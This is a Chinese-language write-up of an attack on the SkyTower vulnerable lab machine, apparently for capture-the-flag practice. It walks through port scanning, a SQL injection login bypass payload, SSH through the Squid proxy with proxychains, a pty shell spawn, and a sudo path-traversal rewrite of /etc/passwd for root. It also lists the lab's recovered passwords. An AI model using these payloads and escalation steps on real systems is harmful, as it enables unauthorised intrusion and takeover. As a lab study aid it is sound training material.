SkyTower
拿到靶机,先arp-scan -l,找到虚拟机地址–192.168.111.130
浅浅收集一下信息,nmap -p- 192.168.111.130
nmap -p22,80,3128 -A 192.168.111.130
22号端口可以进行ssh登录,但是现在没有账号密码,有80端口和3128端口都可以进行一下目录扫描
80端口:登录页(POST传递账号密码),apache http server 2.2.22
关于80端口的sql注入
1.判断闭合符号是什么,过滤的字串有哪些,后端验证语句是什么
经过尝试和猜测,我认为后端验证语句是
SELECT * FROM users WHERE username = 'user_input' AND password = 'password_input'
如果要在username里注入就要把后面的语句尝试注释掉,于是,干脆在password注入
其过滤了 or
已知OR可以用||代替,只要有一个为True整条语句即为True
email=admin&password=’||’1’’ //后面直接写了一个
‘1’进去,所有肯定True
[^这个图片是后面登录之后查看的网页源码]:


apache也没有漏洞 3128端口:没有什么东西,是一个代理端口,我的理解是外网可以通过这个端口连接内网其他端口
接住上面sql注入进去,提示用ssh登录user==john;password==hereisjohn
发现连接超时,可能是只能让内网主机ssh,不过想起来 3128 端口设置的 Squid HTTP代理服务,尝试设置代理访问(这里需要权限,所以 sudo
,直接 root
用户也可以)
vim /etc/proxychains4.conf
把最后一行写进去就行了,同时只保留这一行,下次用的时候也只留需要用的这条
然后连接ssh时需要配带上proxychains4文件 proxychains ssh john@192.168.111.130 -t "/bin/sh"
python -c ‘import pty;pty.spawn(“/bin/bash”)’,交互式shell,但是回显没有python
$db = new mysqli('localhost', 'root', 'root', 'SkyTech'); //有了账号密码
登录一下mysql吧 mysql -uroot -proot
1 | 1. \# 利用内置库查询数据库 注意句尾要有分号(;) |
分别登录之后发现新账号密码
Username: sara
Password: ihatethisjob(能登录,并且有更好一点权限)
Username: william
Password: senseable(不能登录,怀疑需要用私钥登录)
find / -name “ssh” 2>/dev/null
通过sudo -l发现有当前用户可以用root执行的命令
可以用accounts来查flag,也可以提权吧
1 | sudo /bin/ls cat > /accounts/../etc/passwd <<EOF |
这里是直接把登录账号的uid和gid都改成了0
sudo cat /accounts/../root/flag.txt 得到root密码theskytower